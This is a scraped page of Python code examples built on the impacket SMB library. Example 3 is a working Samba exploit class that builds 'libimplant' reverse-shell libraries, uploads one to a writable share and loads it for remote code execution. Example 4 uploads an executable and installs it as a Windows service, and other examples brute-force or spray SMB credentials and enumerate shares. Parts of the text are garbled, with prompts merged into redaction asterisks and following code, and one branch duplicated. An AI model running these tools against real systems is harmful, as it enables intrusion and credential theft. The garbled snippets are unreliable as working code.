Пример #1
0
    def login(self, ipaddress, port, user_passwd_pair_list):
        for user_passwd_pair in user_passwd_pair_list:
            try:
                fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout)
            except Exception as E:
                logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port))
                return
            try:
                if fp.login(user_passwd_pair[0], user_passwd_pair[1], ""):
                    if fp.isGuestSession() == 0:
                        log_success("SMB", ipaddress, port, user_passwd_pair)

            except Exception as E:
                logger.debug('AuthenticationException: %s' % E)
            finally:
                fp.getSMBServer().get_socket().close()
Пример #2
0
def init_smb_session(args, domain, username, password, address, lmhash, nthash):
    smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port))
    dialect = smbClient.getDialect()
    if dialect == SMB_DIALECT:
        logging.debug("SMBv1 dialect used")
    elif dialect == SMB2_DIALECT_002:
        logging.debug("SMBv2.0 dialect used")
    elif dialect == SMB2_DIALECT_21:
        logging.debug("SMBv2.1 dialect used")
    else:
        logging.debug("SMBv3.0 dialect used")
    if args.k is True:
        smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip)
    else:
        smbClient.login(username, password, domain, lmhash, nthash)
    if smbClient.isGuestSession() > 0:
        logging.debug("GUEST Session Granted")
    else:
        logging.debug("USER Session Granted")
    return smbClient
Пример #3
0
class CSmbExploit:
    def __init__(self, options):
        self.hostname = options.host
        self.port = options.port
        self.target = options.target
        self.module = options.module
        self.username = options.username
        if self.username is None:
            self.username = ""
        self.password = options.password
        if self.password is None:
            self.password = ""

        self.is_32bit = options.is_32
        self.shell = options.shell

        self.smb = None

    def load_module(self, module):
        log("Trying to load module %s" % module)
        stringbinding = r'ncacn_np:%s[\pipe\%s]' % (self.target, module)
        sb = transport.DCERPCStringBinding(stringbinding)
        na = sb.get_network_address()
        rpctransport = transport.SMBTransport(na,
                                              filename=module,
                                              smb_connection=self.smb)
        dce = rpctransport.get_dce_rpc()

        try:
            dce.connect()
            return True
        except KeyboardInterrupt:
            print "Aborted."
            sys.exit(0)
        except:
            log("Error: %s" % str(sys.exc_info()[1]))
            return False

    def get_my_ip(self):
        return [
            ip for ip in socket.gethostbyname_ex(socket.gethostname())[2]
            if not ip.startswith("127.")
        ][:1]

    def get_random_name(self, total=8):
        ret = ''.join(
            random.choice(string.ascii_uppercase + string.digits +
                          string.ascii_lowercase) for _ in range(total))
        return "%s.so" % ret

    def make_library(self):
        if self.hostname is None:
            l = self.get_my_ip()
            if len(l) == 0:
                raise Exception("Cannot resolve local IP address!")

            self.hostname = l[0]

        with open("config.h", "wb") as f:
            f.write(CONFIG_H % (self.port, self.hostname, self.shell))

        log("Building libraries...")
        ret = os.system("make")
        return ret == 0

    def try_put(self, share_name, lib_name, real_file):
        with open(real_file, "rb") as f:
            try:
                self.smb.putFile(share_name[0], lib_name, f.read)
                return True
            except:
                log("Error copying file: %s" % str(sys.exc_info()[1]))

        return False

    def get_real_library_name(self):
        # XXX: TODO: Add support for non Intel based machines
        if self.is_32bit:
            return "libimplantx32.so"
        return "libimplantx64.so"

    def translate_smb_path(self, path):
        pos = path.find(":")
        if pos > -1:
            path = path[pos + 1:]
            path = path.replace("\\", "/")
        return path

    def try_copy_library(self, lib_name):
        rpctransport = transport.SMBTransport(self.smb.getRemoteName(),
                                              self.smb.getRemoteHost(),
                                              filename=r'\srvsvc',
                                              smb_connection=self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrShareEnum(dce, 2)

        l = []
        ignore_shares = ["print$", "IPC$"]
        for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
            share_name = share['shi2_netname'][:-1]
            share_path = self.translate_smb_path(share['shi2_path'][:-1])
            l.append([share_name, share_path])

        # Randomize the list of shares instead of going from the first to the last
        random.shuffle(l)
        real_file = self.get_real_library_name()
        for share in l:
            log("Trying to copy library '%s' to share '%s'" %
                (lib_name, share))
            if self.try_put(share, lib_name, real_file):
                log("Done!")
                return share[1]

        return None

    def do_login(self):
        try:
            self.smb = SMBConnection(remoteName='*SMBSERVER',
                                     remoteHost=self.target)
            self.smb.login(user=self.username, password=self.password)
            if self.smb.isGuestSession():
                log("Using a GUEST session")
            return True
        except:
            log("Error logging into the Samba server: %s" %
                str(sys.exc_info()[1]))
            return False

    def exploit(self):
        if not self.make_library():
            log("Error building library:")
            return False

        log("Logging into the Samba server %s..." % self.target)
        if not self.do_login():
            log("Cannot log into the Samba server...")
            return False

        lib_name = self.get_random_name()
        if self.module is None:
            log("Trying to copy random library %s" % lib_name)
            server_directory = self.try_copy_library(lib_name)
            if server_directory is None:
                log("Unable to copy the payload to the target :(")
                return False

            self.module = "%s/%s" % (server_directory, lib_name)
        else:
            lib_name = self.module

        return self.load_module(self.module)
Пример #4
0
class ServiceInstall:
    def __init__(self, SMBObject, exeFile, serviceName=''):
        self._rpctransport = 0
        self.__service_name = serviceName if len(serviceName) > 0 else ''.join(
            [random.choice(string.ascii_letters) for i in range(4)])
        self.__binary_service_name = ''.join(
            [random.choice(string.ascii_letters) for i in range(8)]) + '.exe'
        self.__exeFile = exeFile

        # We might receive two different types of objects, always end up
        # with a SMBConnection one
        if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
            self.connection = SMBConnection(existingConnection=SMBObject)
        else:
            self.connection = SMBObject

        self.share = ''

    def getShare(self):
        return self.share

    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        LOG.info("Requesting shares on %s....." %
                 (self.connection.getRemoteHost()))
        try:
            self._rpctransport = transport.SMBTransport(
                self.connection.getRemoteHost(),
                self.connection.getRemoteHost(),
                filename=r'\srvsvc',
                smb_connection=self.connection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            LOG.critical("Error requesting shares on %s, aborting....." %
                         (self.connection.getRemoteHost()))
            raise

    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." %
                 (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp = scmr.hROpenServiceW(self.rpcsvc, handle,
                                       self.__service_name + '\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
        else:
            # It exists, remove it
            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])

        # Create the service
        command = '%s\\%s' % (path, self.__binary_service_name)
        try:
            resp = scmr.hRCreateServiceW(self.rpcsvc,
                                         handle,
                                         self.__service_name + '\x00',
                                         self.__service_name + '\x00',
                                         lpBinaryPathName=command + '\x00',
                                         dwStartType=scmr.SERVICE_DEMAND_START)
        except:
            LOG.critical(
                "Error creating service %s on %s" %
                (self.__service_name, self.connection.getRemoteHost()))
            raise
        else:
            return resp['lpServiceHandle']

    def openSvcManager(self):
        LOG.info("Opening SVCManager on %s....." %
                 self.connection.getRemoteHost())
        # Setup up a DCE SMBTransport with the connection already in place
        self._rpctransport = transport.SMBTransport(
            self.connection.getRemoteHost(),
            self.connection.getRemoteHost(),
            filename=r'\svcctl',
            smb_connection=self.connection)
        self.rpcsvc = self._rpctransport.get_dce_rpc()
        self.rpcsvc.connect()
        self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
        try:
            resp = scmr.hROpenSCManagerW(self.rpcsvc)
        except:
            LOG.critical("Error opening SVCManager on %s....." %
                         self.connection.getRemoteHost())
            raise Exception('Unable to open SVCManager')
        else:
            return resp['lpScHandle']

    def copy_file(self, src, tree, dst):
        LOG.info("Uploading file %s" % dst)
        if isinstance(src, str):
            # We have a filename
            fh = open(src, 'rb')
        else:
            # We have a class instance, it must have a read method
            fh = src
        f = dst
        pathname = f.replace('/', '\\')
        try:
            self.connection.putFile(tree, pathname, fh.read)
        except:
            LOG.critical("Error uploading file %s, aborting....." % dst)
            raise
        fh.close()

    def findWritableShare(self, shares):
        # Check we can write a file on the shares, stop in the first one
        writeableShare = None
        for i in shares['Buffer']:
            if i['shi1_type'] == srvs.STYPE_DISKTREE or i[
                    'shi1_type'] == srvs.STYPE_SPECIAL:
                share = i['shi1_netname'][:-1]
                tid = 0
                try:
                    tid = self.connection.connectTree(share)
                    self.connection.openFile(
                        tid,
                        '\\',
                        FILE_WRITE_DATA,
                        creationOption=FILE_DIRECTORY_FILE)
                except:
                    LOG.debug('Exception', exc_info=True)
                    LOG.critical("share '%s' is not writable." % share)
                    pass
                else:
                    LOG.info('Found writable share %s' % share)
                    writeableShare = str(share)
                    break
                finally:
                    if tid != 0:
                        self.connection.disconnectTree(tid)
        return writeableShare

    def install(self):
        if self.connection.isGuestSession():
            LOG.critical("Authenticated as Guest. Aborting")
            self.connection.logoff()
            del self.connection
        else:
            fileCopied = False
            serviceCreated = False
            # Do the stuff here
            try:
                # Let's get the shares
                shares = self.getShares()
                self.share = self.findWritableShare(shares)
                if self.share is None:
                    return False
                self.copy_file(self.__exeFile, self.share,
                               self.__binary_service_name)
                fileCopied = True
                svcManager = self.openSvcManager()
                if svcManager != 0:
                    serverName = self.connection.getServerName()
                    if self.share.lower() == 'admin$':
                        path = '%systemroot%'
                    else:
                        if serverName != '':
                            path = '\\\\%s\\%s' % (serverName, self.share)
                        else:
                            path = '\\\\127.0.0.1\\' + self.share
                    service = self.createService(svcManager, self.share, path)
                    serviceCreated = True
                    if service != 0:
                        # Start service
                        LOG.info('Starting service %s.....' %
                                 self.__service_name)
                        try:
                            scmr.hRStartServiceW(self.rpcsvc, service)
                        except:
                            pass
                        scmr.hRCloseServiceHandle(self.rpcsvc, service)
                    scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
                    return True
            except Exception as e:
                LOG.critical(
                    "Error performing the installation, cleaning up: %s" % e)
                LOG.debug("Exception", exc_info=True)
                try:
                    scmr.hRControlService(self.rpcsvc, service,
                                          scmr.SERVICE_CONTROL_STOP)
                except:
                    pass
                if fileCopied is True:
                    try:
                        self.connection.deleteFile(self.share,
                                                   self.__binary_service_name)
                    except:
                        pass
                if serviceCreated is True:
                    try:
                        scmr.hRDeleteService(self.rpcsvc, service)
                    except:
                        pass
            return False

    def uninstall(self):
        fileCopied = True
        serviceCreated = True
        # Do the stuff here
        try:
            # Let's get the shares
            svcManager = self.openSvcManager()
            if svcManager != 0:
                resp = scmr.hROpenServiceW(self.rpcsvc, svcManager,
                                           self.__service_name + '\x00')
                service = resp['lpServiceHandle']
                LOG.info('Stopping service %s.....' % self.__service_name)
                try:
                    scmr.hRControlService(self.rpcsvc, service,
                                          scmr.SERVICE_CONTROL_STOP)
                except:
                    pass
                LOG.info('Removing service %s.....' % self.__service_name)
                scmr.hRDeleteService(self.rpcsvc, service)
                scmr.hRCloseServiceHandle(self.rpcsvc, service)
                scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
            LOG.info('Removing file %s.....' % self.__binary_service_name)
            self.connection.deleteFile(self.share, self.__binary_service_name)
        except Exception:
            LOG.critical("Error performing the uninstallation, cleaning up")
            try:
                scmr.hRControlService(self.rpcsvc, service,
                                      scmr.SERVICE_CONTROL_STOP)
            except:
                pass
            if fileCopied is True:
                try:
                    self.connection.deleteFile(self.share,
                                               self.__binary_service_name)
                except:
                    try:
                        self.connection.deleteFile(self.share,
                                                   self.__binary_service_name)
                    except:
                        pass
                    pass
            if serviceCreated is True:
                try:
                    scmr.hRDeleteService(self.rpcsvc, service)
                except:
                    pass
Пример #5
0
class test_login(Thread):
    def __init__(self, target):
        Thread.__init__(self)

        self.__target = target
        self.__credentials = self.__target.get_credentials()
        self.__domains = self.__target.get_domains()
        self.__dstip = self.__target.get_host()
        self.__dstport = self.__target.get_port()
        self.__target_id = self.__target.get_identity()
        self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip
        self.__srcfile = conf.name
        self.__timeout = 3

    def connect(self):
        self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile,
                                 self.__dstport, self.__timeout)

    def login(self, user, password, lmhash, nthash, domain):
        self.smb.login(user, password, domain, lmhash, nthash)

    def logoff(self):
        self.smb.logoff()

    def check_admin(self):
        try:
            self.__trans = transport.SMBTransport(remoteName=self.__dstip,
                                                  dstport=self.__dstport,
                                                  filename='svcctl',
                                                  smb_connection=self.smb,
                                                  remote_host=self.__dstip)
            self.__trans.connect()
            self.__dce = self.__trans.get_dce_rpc()
            self.__dce.bind(scmr.MSRPC_UUID_SCMR)
            self.__resp = scmr.hROpenSCManagerW(
                self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE)
            self.__mgr_handle = self.__resp['lpScHandle']
            scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle)
            self.__dce.disconnect()
            return True
        except rpcrt.DCERPCException as e:
            pass
        except Exception as e:
            logger.error('Check admin error: %s' % str(e))

        return False

    def run(self):
        global pool_thread
        global successes

        try:
            logger.info('Assessing host %s' % self.__target_id)

            for credential in self.__credentials:
                user, password, lmhash, nthash = credential.get_credential()
                password_str = None

                if password != '' or (password == '' and lmhash == ''
                                      and nthash == ''):
                    password_str = password or 'BLANK'
                elif lmhash != '' and nthash != '':
                    password_str = '%s:%s' % (lmhash, nthash)
                for domain in self.__domains:
                    if stop_threads[0]:
                        break

                    status = False
                    error_code = None
                    is_admin = None

                    if domain:
                        user_str = '%s\\%s' % (domain, user)
                    else:
                        user_str = user

                    try:
                        self.connect()
                        self.login(user, password, lmhash, nthash, domain)

                        if self.smb.isGuestSession() > 0:
                            logger.warn(
                                '%s allows guest sessions with any credentials, skipping further login attempts'
                                % self.__target_id)
                            return
                        else:
                            credential.is_admin = self.check_admin()

                            if (self.smb.getServerDomain().upper() !=
                                    domain.upper()
                                    and self.smb.getServerName().upper() !=
                                    domain.upper()):
                                domain = ''
                                user_str = user
                                credential.domain = domain

                            logger.info(
                                'Successful login for %s with %s on %s %s' %
                                (user_str, password_str, self.__target_id,
                                 "(admin user)" if is_admin else ""))

                        self.logoff()

                        status = True
                        successes += 1
                        credential.is_valid = True

                    except SessionError as e:
                        logger.debug('Failed login for %s with %s on %s %s' %
                                     (user_str, password_str, self.__target_id,
                                      e.getErrorString()))
                        error_code = e.getErrorCode()
                        if e.getErrorString(
                        )[0] is "STATUS_PASSWORD_MUST_CHANGE":
                            credential.is_valid = True
                            credential.password_change_required = True
                            status = True
                        elif e.getErrorString(
                        )[0] is "STATUS_ACCOUNT_LOCKED_OUT":
                            credential.is_valid = True
                            credential.is_locked_out = True
                            status = True
                        elif e.getErrorString(
                        )[0] is "STATUS_ACCOUNT_DISABLED":
                            credential.is_valid = True
                            credential.account_disabled = True
                            status = True
                        elif e.getErrorString(
                        )[0] is "STATUS_INVALID_LOGON_HOURS":
                            credential.is_valid = True
                            credential.outside_logon_hours = True
                            status = True
                        else:
                            credential.is_valid = False

                    if status is True:
                        break

            logger.info('Assessment on host %s finished' %
                        self.__target.get_identity())
        except (socket.error, socket.herror, socket.gaierror, socket.timeout,
                NetBIOSTimeout) as e:
            if not stop_threads[0]:
                logger.warn('Connection to host %s failed (%s)' %
                            (self.__target.get_identity(), str(e)))

        self.__target.update_credentials(self.__credentials)
        pool_thread.release()
Пример #6
0
class SMB_ENUM(object):
    def __init__(self, ip="", user="******", password=""):
        self.target = ip
        self.port = 445
        self.user = user
        self.password = password
        self.ignore_share = ["IPC$"]
        self.avaliable_opt = ["target", "user", "password"]
        logger.init()

    def set_target(self, ip):
        self.target = ip
        print("TARGET => %s" % self.target)

    def set_user(self, user):
        self.user = user
        print("USER => %s" % self.user)

    def set_password(self, password):
        self.password = password
        print("PASSWORD => %s" % self.password)

    def show_help(self):
        print("\n\tShow available commands for current module\n")
        print("\thelp - print this help")
        print("\tshow options - list available options")
        print("\tset - use to set required options\n")

    def show_options(self):
        print("\n\tShow Available options for current module\n")
        print("\tTARGET - REMOTE TARGET IP ADDRESS")
        print(
            "\tUSER - USER NAME USE TO AUTHENTICATE TO REMOTE SERVER (OPTIONAL)"
        )
        print(
            "\tPASSWORD - PASSWORD  USE TO AUTHENTICATE TO REMOTE SERVER (OPTIONAL)\n"
        )

        print("\n\tCurrent Settings\n")

        if self.target != "":
            print("\tTARGET - %s" % self.target)
        if self.user != "Guest":
            print("\tUSER - %s" % self.user)
        if self.password != "":
            print("\tPASSWORD - %s" % self.password)

    def tryLogin(self):
        '''
            Setup a connection with smb server, authenticate using the give user name and password. if the user name and
            password is not specify use guest as login. If successfully authenticated create an interactive section between
            smb server and client
        :return:
        '''

        try:

            # Setup SMB Connection and Create an interactive shell

            logging.info("Trying To Authenticate As %s ..." % self.user)
            self.smbClient = SMBConnection(self.target,
                                           self.target,
                                           sess_port=self.port)
            self.smbClient.login(self.user, self.password)
            logging.info("Successfully Login As %s ..." % self.user)
            self.shell = MiniImpacketShell(self.smbClient)

        except Exception as e:
            LOG.level = logging.DEBUG
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))

    def recursive_dirlist(self, directory_list, share=""):
        '''
            List for file and directory recursively according to their permission.
        :param directory_list:
        :param share:
        :return:
        '''

        if len(directory_list) != 0:
            for directory in directory_list:
                LOG.info("Listing File And Directory For Path \\\\%s\\%s" %
                         (share, directory))
                print("\n")
                self.shell.do_cd(directory)
                directory_list = self.shell.do_ls('')
                print("\n")
                temp_share = share
                if len(directory_list) != 0:
                    share += "\\" + directory
                    self.recursive_dirlist(directory_list, share)
                else:
                    self.shell.do_cd("..")
                    share = temp_share

    def enumerateShares(self):
        '''

        :return:
        '''

        shares = self.shell.do_shares("shares")
        shares_list = []
        logging.info("Listing Shares")
        logging.getLogger().level = logging.DEBUG
        for i in range(len(shares)):
            share = shares[i]['shi1_netname'][:-1]
            logging.debug(share)
            if share not in self.ignore_share:
                if self.smbClient.isGuestSession() > 0:
                    if "$" not in share:
                        shares_list.append(share)
                else:
                    shares_list.append(share)

        LOG.level = logging.INFO
        print("\n")

        if len(shares_list) != 0:
            for share in shares_list:
                try:
                    LOG.info("Listing File And Directory For Share %s \n" %
                             share)
                    self.shell.do_use(share)
                    directory_list = self.shell.do_ls('')
                    print("\n")
                    if "$" not in share:
                        self.recursive_dirlist(directory_list, share)

                except Exception as e:
                    LOG.level = logging.DEBUG
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        #traceback.print_exc()
                    logging.error(str(e))
                    print("\n")

    def run(self):
        try:
            self.tryLogin()
            self.enumerateShares()
        except:
            pass
Пример #7
0
def login(host, args):
    try:
        smbconn = SMBConnection(host, host,
                                timeout=args.timeout)  # throws socket.error
    except Exception as e:
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password,
            'ConnectionError'))
        return

    error_code = STATUS_SUCCESS
    try:
        if args.nthash:
            smbconn.login(args.username,
                          '',
                          nthash=args.password,
                          domain=args.domain)
        elif args.nthash:
            smbconn.login(args.username,
                          '',
                          lmhash=args.password,
                          domain=args.domain)
        else:
            smbconn.login(args.username, args.password, domain=args.domain)
    except impacket.smbconnection.SessionError as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'LoginError'
        if error_code == STATUS_LOGON_FAILURE:
            status = 'Failure'
            if args.domain != '.':
                raise RuntimeError(
                    'Aborting: domain creds are invalid, preventing lockout')
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password, status))
        return

    try:
        # for s in smbconn.listShares():
        #     print(s['shi1_netname'][:-1])
        smbconn.connectTree(r'ADMIN$')
        status = '*Success'
    except Exception as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'ConnectTreeError ' + hex(error_code)
        if smbconn.isGuestSession():
            status = 'Guest'
        elif error_code == STATUS_ACCESS_DENIED:
            status = 'Success'
        elif error_code == STATUS_BAD_NETWORK_NAME:
            # ADMIN$ doesn't exist, probably Samba
            status = 'ShareNameError'

    try:
        smbconn.logoff()
    except:
        pass
    sys.stdout.write('{} {}\\{} {}\n'.format(
        host, args.domain, args.username + ':' + args.password, status))
Пример #8
0
class MiniImpacketShell(cmd.Cmd):
    def __init__(self, smbClient, tcpShell=None):
        #If the tcpShell parameter is passed (used in ntlmrelayx),
        # all input and output is redirected to a tcp socket
        # instead of to stdin / stdout
        if tcpShell is not None:
            cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)
            sys.stdout = tcpShell.stdout
            sys.stdin = tcpShell.stdin
            sys.stderr = tcpShell.stdout
            self.use_rawinput = False
            self.shell = tcpShell
        else:
            cmd.Cmd.__init__(self)
            self.shell = None

        self.prompt = '# '
        self.smb = smbClient
        self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
        self.tid = None
        self.intro = 'Type help for list of commands'
        self.pwd = ''
        self.share = None
        self.loggedIn = True
        self.last_output = None
        self.completion = []

    def emptyline(self):
        pass

    def precmd(self, line):
        # switch to unicode
        return line

    def onecmd(self,s):
        retVal = False
        try:
           retVal = cmd.Cmd.onecmd(self,s)
        except Exception as e:
           LOG.error(e)
           LOG.debug('Exception info', exc_info=True)

        return retVal

    def do_exit(self,line):
        if self.shell is not None:
            self.shell.close()
        return True

    def do_shell(self, line):
        output = os.popen(line).read()
        print(output)
        self.last_output = output

    def do_help(self,line):
        print("""
 open {host,port=445} - opens a SMB connection against the target host/port
 login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
 kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
 login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
 logoff - logs off
 shares - list available shares
 use {sharename} - connect to an specific share
 cd {path} - changes the current directory to {path}
 lcd {path} - changes the current local directory to {path}
 pwd - shows current remote directory
 password - changes the user password, the new password will be prompted for input
 ls {wildcard} - lists all the files in the current directory
 rm {file} - removes the selected file
 mkdir {dirname} - creates the directory under the current path
 rmdir {dirname} - removes the directory under the current path
 put {filename} - uploads the filename into the current path
 get {filename} - downloads the filename from the current path
 mget {mask} - downloads all files from the current directory matching the provided mask
 cat {filename} - reads the filename from the current path
 mount {target,path} - creates a mount point from {path} to {target} (admin required)
 umount {path} - removes the mount point at {path} without deleting the directory (admin required)
 list_snapshots {path} - lists the vss snapshots for the specified path
 info - returns NetrServerInfo main results
 who - returns the sessions currently connected at the target host (admin required)
 close - closes the current SMB Session
 exit - terminates the server process (and this session)

""")

    def do_password(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        from getpass import getpass
        newPassword = getpass("New Password:"******"SMBv1 dialect used")
        elif dialect == SMB2_DIALECT_002:
            LOG.info("SMBv2.0 dialect used")
        elif dialect == SMB2_DIALECT_21:
            LOG.info("SMBv2.1 dialect used")
        else:
            LOG.info("SMBv3.0 dialect used")

        self.share = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_kerberos_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if domain == '':
            LOG.error("Domain must be specified for Kerberos login")
            return

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_login_hash(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           hashes = l[1]
        else:
           LOG.error("Hashes needed. Format is lmhash:nthash")
           return

        if username.find('/') > 0:
           domain, username = username.split('/')

        lmhash, nthash = hashes.split(':')

        self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
        self.username = username
        self.lmhash = lmhash
        self.nthash = nthash

        if self.smb.isGuestSession() > 0:
            LOG.info("GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_logoff(self, line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        self.smb.logoff()
        del self.smb
        self.share = None
        self.smb = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_info(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrServerGetInfo(dce, 102)

        print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
        print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
        print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
        print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
        print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
        print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])

    def do_who(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)

        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
            session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
            session['sesi10_idle_time']))

    def do_shares(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        resp = self.smb.listShares()
        for i in range(len(resp)):
            print(resp[i]['shi1_netname'][:-1])

    def do_use(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        self.share = line
        self.tid = self.smb.connectTree(line)
        self.pwd = '\\'
        self.do_ls('', False)

    def complete_cd(self, text, line, begidx, endidx):
        return self.complete_get(text, line, begidx, endidx, include = 2)

    def do_cd(self, line):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = line.replace('/','\\')
        oldpwd = self.pwd
        if p[0] == '\\':
           self.pwd = line
        else:
           self.pwd = ntpath.join(self.pwd, line)
        self.pwd = ntpath.normpath(self.pwd)
        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA |
                                   FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE )
            self.smb.closeFile(self.tid,fid)
        except SessionError:
            self.pwd = oldpwd
            raise

    def do_lcd(self, s):
        print(s)
        if s == '':
           print(os.getcwd())
        else:
           os.chdir(s)

    def do_pwd(self,line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        print(self.pwd)

    def do_ls(self, wildcard, display = True):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        if self.tid is None:
            LOG.error("No share selected")
            return
        if wildcard == '':
           pwd = ntpath.join(self.pwd,'*')
        else:
           pwd = ntpath.join(self.pwd, wildcard)
        self.completion = []
        pwd = pwd.replace('/','\\')
        pwd = ntpath.normpath(pwd)
        for f in self.smb.listPath(self.share, pwd):
            if display is True:
                print("%crw-rw-rw- %10d  %s %s" % (
                'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
                f.get_longname()))
            self.completion.append((f.get_longname(), f.is_directory()))


    def do_rm(self, filename):
        if self.tid is None:
            LOG.error("No share selected")
            return
        f = ntpath.join(self.pwd, filename)
        file = f.replace('/','\\')
        self.smb.deleteFile(self.share, file)

    def do_mkdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.createDirectory(self.share,pathname)

    def do_rmdir(self, path):
        if self.tid is None:
            LOG.error("No share selected")
            return
        p = ntpath.join(self.pwd, path)
        pathname = p.replace('/','\\')
        self.smb.deleteDirectory(self.share, pathname)

    def do_put(self, pathname):
        if self.tid is None:
            LOG.error("No share selected")
            return
        src_path = pathname
        dst_name = os.path.basename(src_path)

        fh = open(pathname, 'rb')
        f = ntpath.join(self.pwd,dst_name)
        finalpath = f.replace('/','\\')
        self.smb.putFile(self.share, finalpath, fh.read)
        fh.close()

    def complete_get(self, text, line, begidx, endidx, include = 1):
        # include means
        # 1 just files
        # 2 just directories
        p = line.replace('/','\\')
        if p.find('\\') < 0:
            items = []
            if include == 1:
                mask = 0
            else:
                mask = 0x010
            for i in self.completion:
                if i[1] == mask:
                    items.append(i[0])
            if text:
                return  [
                    item for item in items
                    if item.upper().startswith(text.upper())
                ]
            else:
                return items

